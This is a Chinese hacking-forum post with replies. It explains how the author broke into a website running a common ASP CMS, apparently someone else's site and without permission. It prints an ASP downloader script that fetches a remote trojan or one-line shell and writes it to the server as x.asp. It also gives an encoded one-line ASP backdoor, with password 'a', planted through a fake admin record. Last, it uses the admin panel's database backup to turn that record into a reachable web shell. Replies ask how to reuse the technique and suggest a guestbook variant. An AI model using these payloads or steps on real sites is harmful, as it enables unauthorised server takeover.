后台插入一句话备份连接之

冰刀

作者:冰刀

博客:www.bingdao2b.com



本来这个事情用标题的一句话就能表达清楚的

但几个朋友希望图文并茂 就记录下吧

以此来缓解下8天之痛….

—————-action———————————–



一个朋友扔了个地址过来说是





有智创 上传突破不了

我也就没怎么管他 就扔了个

<%

Set xPost = CreateObject(“Microsoft.XMLHTTP”)

xPost.Open “GET”,”http://www.baidu.com/2.txt”,False

xPost.Send()

Set sGet = CreateObject(“ADODB.Stream”)

sGet.Mode = 3

sGet.Type = 1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile Server.MapPath(“x.asp”),2

set sGet = nothing

set sPOST = nothing

%>



保存为 x.asp



http://www.baidu.com/2.txt 这里为你的马 或者一句话



x.asp 为下载后的名字 这个可以是PHP aspx 等等



但他利用后没有成功



就叫我 看看



网站有点卡 不过这个很眼熟呀…>w<

对  可能是南方数据  良精 的源码…

发现可以备份



备份了下后发现能看到全屏乱码说明备份成功的

但是大家觉得当前数据库路径改不了 就没啥办法

但是我们可以添加管理员(管理员 的数据也会被备份的。)



那个乱码的管理员就是我插的



┼攠數畣整爠煥敵瑳∨≡┩愾 //密码是a 插数据库专用一句话。

备份连接之



成功 提权什么的就不做了太卡了。。。



这个思路没什么 大家会的就飞过

不会的就记住吧…下次可以利用哦

635634436

我问问
<%

Set xPost = CreateObject(“Microsoft.XMLHTTP”)

xPost.Open “GET”,”http://www.baidu.com/2.txt”,False

xPost.Send()

Set sGet = CreateObject(“ADODB.Stream”)

sGet.Mode = 3

sGet.Type = 1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile Server.MapPath(“x.asp”),2

set sGet = nothing

set sPOST = nothing

%>这个具体是怎么利用的啊！能不能教教我 大侠

08-土豆

支持下、、   大侠、、、  

Free_小东

635634436 发表于 2013-1-12 11:55
我问问
这个具体是怎么利用的啊！能不能教教我 大侠

这是个下载脚本

鬼斧

备份后是asp   能不能直接在他留言板什么的写一句话   然后备份连接